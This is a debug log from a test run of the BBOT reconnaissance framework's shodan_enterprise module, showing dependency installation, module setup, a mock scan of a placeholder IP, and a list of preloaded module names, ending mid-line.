BBOT module -2026-02-27 18:43:05,923 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:43:05,924 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:43:05,924 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:43:06,064 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:43:06,673 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:43:06,674 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:43:06,894 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:43:06,896 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:43:07,011 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:43:07,011 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:43:07,068 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:43:07,072 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:43:07,072 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:43:07,733 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:43:07,733 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:43:22,029 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:43:22,030 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:43:22,030 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:43:23,997 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:43:23,998 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:43:24,003 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:43:24,003 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:43:24,004 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:43:24,005 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:43:24,005 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:43:24,006 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:43:24,006 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:43:24,006 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:43:24,011 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/yb3zh4sjnjle43zae6l1 -2026-02-27 18:43:25,135 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:43:25,135 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:43:25,137 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:43:25,264 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:43:25,265 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:43:25,265 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:43:25,267 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:43:25,268 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:43:25,268 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:43:25,268 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:43:25,269 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:43:25,269 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:43:25,270 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:43:25,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:43:25,271 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:43:25,271 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:43:25,272 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:43:25,272 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:43:25,273 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:43:25,273 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:43:25,274 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:43:25,275 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:43:25,276 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:43:25,277 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:43:25,277 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:43:25,277 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:43:25,277 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:43:25,277 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:43:25,278 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:43:25,492 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_e42p7ffjz4 -2026-02-27 18:43:25,492 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:43:25,646 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:43:25,646 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:43:25,647 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:43:25,648 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 18:43:25,750 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:43:25,751 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:43:25,753 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:43:25,753 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-02-27 18:43:25,754 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 18:43:25,755 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:43:25,756 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:43:25,756 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 18:43:25,758 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:43:25,758 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:43:25,759 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:43:25,760 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:43:25,760 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:43:25,761 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:43:25,762 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:43:25,768 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:43:25,769 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:43:25,770 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:43:25,771 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 18:43:25,771 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-02-27 18:43:25,849 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:43:25,851 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:cbfca7a5576e763594811942fc835825d65e3d2f', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:43:25,851 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-02-27 18:43:25,852 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 18:43:25,852 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:43:25,853 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:43:25,854 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:43:25,854 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:43:25,855 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:43:25,855 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:43:25,955 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:43:25,955 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:43:25,984 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:43:25,985 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:43:25,985 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:43:25,995 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:43:25,996 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:43:25,997 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:43:25,998 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:43:25,999 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:43:26,000 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:43:26,131 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_e42p7ffjz4 completed in 0 seconds with status FINISHED -2026-02-27 18:43:26,132 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:43:26,133 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:43:26,135 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:43:26,135 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:44:24,443 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:44:24,452 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:44:24,453 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:44:24,454 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:44:24,455 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:44:24,456 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:44:24,456 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:44:24,457 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:44:24,458 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:44:24,458 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:44:24,459 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:44:24,460 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:44:24,460 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:44:24,461 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:44:24,462 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:44:24,463 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:44:24,463 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:44:24,464 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:44:24,465 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:44:24,465 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:44:24,466 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:44:24,470 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:44:24,471 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:44:24,472 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:44:24,472 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:44:24,474 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:44:24,474 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:44:24,475 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:44:24,476 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:44:24,477 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:44:24,477 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:44:24,478 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:44:24,478 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:44:24,479 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:44:24,480 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:44:24,481 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:44:24,481 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:44:24,482 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:44:24,482 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:44:24,483 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:44:24,483 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:44:24,484 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:44:24,485 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:44:24,486 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:44:24,486 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:44:24,487 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:44:24,487 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:44:24,493 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:44:24,493 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:44:24,494 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:44:24,495 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:44:24,497 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:44:24,498 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:44:24,498 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:44:24,499 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:44:24,500 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:44:24,500 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:44:24,501 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:44:24,502 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:44:24,503 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:44:24,504 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:44:24,504 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:44:24,505 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:44:24,506 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:44:24,506 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:44:24,507 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:44:24,507 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:44:24,508 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:44:24,509 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:44:24,509 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:44:24,510 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:44:24,511 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:44:24,511 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:44:24,512 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:44:24,513 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:44:24,514 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:44:24,515 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:44:24,515 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:44:24,516 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:44:24,516 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:44:24,517 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:44:24,517 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:44:24,518 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:44:24,519 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:44:24,519 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:44:24,520 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:44:24,520 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:44:24,521 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:44:24,522 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:44:24,522 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:44:24,523 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:44:24,523 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:44:24,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:44:24,525 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:44:24,525 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:44:24,526 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:44:24,526 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:44:24,527 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:44:24,527 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:44:24,528 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:44:24,529 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:44:24,530 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:44:24,530 